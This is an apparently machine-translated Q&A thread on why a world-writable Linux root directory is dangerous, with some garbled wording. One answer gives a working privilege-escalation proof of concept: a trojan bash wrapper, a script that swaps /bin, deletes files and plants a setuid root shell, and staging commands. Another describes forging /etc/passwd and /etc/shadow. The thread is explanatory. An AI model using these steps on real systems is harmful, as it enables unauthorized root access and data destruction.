/不應該是世界可寫的

/不應該是世界可寫的

不過大部分內容都是755。

這是一個問題嗎?

答案1

有趣的是,/實際上允許777對其設定權限。該/資料夾不應具有777權限,因為這意味著登入系統的任何使用者都可以在/根層級建立檔案和資料夾。我已經在虛擬機器中測試了這個,你不能刪除任何不777存在的資料夾或文件sudorootowner.仍然遵循存取權限,就像嘗試存取/root資料夾本身會導致您的權限被拒絕。然而,話雖這麼說,您仍然可以移動該/root資料夾來/root.old造成一點破壞。

若要解決此問題,您可以執行sudo chmod 755 /將權限變更為應有的權限。您也可以運行sudo chown root:root /只是為了確保它由 root 本身擁有。 不要使用 -R 運行任何這些命令,因為這將更改分區中的所有檔案和資料夾以匹配權限和所有權。

希望這可以幫助!

答案2

/不應該是世界可寫的

/世界可寫可以是巨大的問題。擁有 的寫入權限/,任何使用者都可以移動/重新命名 中的任何檔案或目錄/。這意味著任何使用者都可以用他們選擇的目錄替換/etc/usr或 中 的任何其他目錄。/

拒絕服務:微不足道

任何使用者都可以透過重新命名/etc和來輕鬆 DoS 您的系統/usr

權限提升:稍微不那麼瑣碎

執行權限升級稍微困難一些。使用者可以/bin用自己的副本替換,然後嘗試使用的任何進程cp,甚至啟動一個外殼,將立即受到他們的擺佈。用戶所需要做的就是等待以 root 身份運行的進程使用 中的任何命令/bin,或者等待 root 用戶使用登錄,然後他們就進入了。

例子

bash.c

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

進而:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

下次 root 啟動 shell 時,您會在主目錄中獲得一個 setuid 可執行文件,然後您可以隨時使用它輕鬆地獲得 root 權限,而不會留下太多痕跡。

答案3

不可以/777​這意味著rwxrwxrwx,即每個使用者都擁有對根目錄的寫入權限。

有了該權限,每個使用者都可以建立新的子目錄、刪除現有的子目錄以及替換現有的子目錄。例如,惡意使用者可以刪除/bin(透過將其重新命名為/bin.old)並建立一個/bin由他們擁有的新文件,其中包含惡意可執行文件。或者使用者可以刪除/etc(透過將其重新命名為/etc.old)並建立一個新文件,/etc其中包含一個新的/etc/passwd/etc/shadow文件,該文件允許使用者登入系統上的每個帳戶。

相關內容